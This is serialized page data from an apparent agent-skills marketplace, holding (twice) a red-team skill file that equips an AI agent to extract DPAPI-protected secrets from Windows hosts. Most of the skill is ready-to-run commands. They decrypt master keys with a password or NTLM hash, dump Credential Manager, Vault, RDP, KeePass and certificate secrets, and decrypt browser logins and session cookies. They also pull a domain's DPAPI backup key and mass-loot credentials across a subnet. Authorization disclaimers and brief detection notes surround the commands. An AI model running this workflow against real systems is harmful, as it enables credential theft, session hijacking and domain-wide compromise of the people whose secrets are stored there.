[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71A62H2Z5D5W282K7G2CJS2":3,"skill-same:01M71A62H2Z5D5W282K7G2CJS2":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71A62H2Z5D5W282K7G2CJS2","cyber-abusing-dpapi-for-credential-access",null,"Extract DPAPI-protected secrets such as credentials and browser data offline and online.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-abusing-dpapi-for-credential-access\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"credential access","dpapi","for","abusing dpapi for credential access","cyber abusing dpapi for credential access","credential","access","data","NIST","secrets","directory","active","de","apache","credentials","subdomain","browser","team","cybersecurity","cm","2026-11-10 10:12:30",false,"---\nname: cyber-abusing-dpapi-for-credential-access\ndescription: \"Extract DPAPI-protected secrets such as credentials and browser data offline and online.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: true\norigin_frontmatter: \"name: abusing-dpapi-for-credential-access | description: Extract DPAPI-protected secrets such as credentials and browser data offline and online. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - credential-access | - dpapi | - sharpdpapi | - post-exploitation | - active-directory | - windows | - mimikatz | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - DE.CM-01 | mitre_attack: | - T1555.004\"\nhide: true\n---\n\n> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n","> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":44,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: abusing-dpapi-for-credential-access | description: Extract DPAPI-protected secrets such as credentials and browser data offline and online. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - credential-access | - dpapi | - sharpdpapi | - post-exploitation | - active-directory | - windows | - mimikatz | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - DE.CM-01 | mitre_attack: | - T1555.004","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills-labgated\u002Fcyber-abusing-dpapi-for-credential-access",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-10-27 02:18:29",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-abusing-dpapi-for-credential-access",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-abusing-dpapi-for-credential-access",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-abusing-dpapi-for-credential-access","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-abusing-dpapi-for-credential-access\u002FSKILL.md",[],[69,93,116,146,175,194],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":39},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92],"zoom out","zoom","with","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":39},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[100,101,80,102,103,21,104,105,106,107,108,86,109,88,110,111,112,113,114,115],"yuri shura","parallel","architecture review","planning","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":127,"publishedAt":39},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[122],{"categoryNo":123,"categoryName":124,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",[128,129,130,131,132,133,134,135,136,88,137,138,139,140,141,142,143,21,144,145],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":160,"publishedAt":39},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[152,155],{"categoryNo":153,"categoryName":154,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":156,"categoryName":157,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[161,90,162,128,80,163,164,165,21,166,167,168,169,170,171,172,173,174,86,88],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":39},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[182,183,184,185,186,187,188,189,190,88,191,110,192,193],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":212,"publishedAt":39},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before 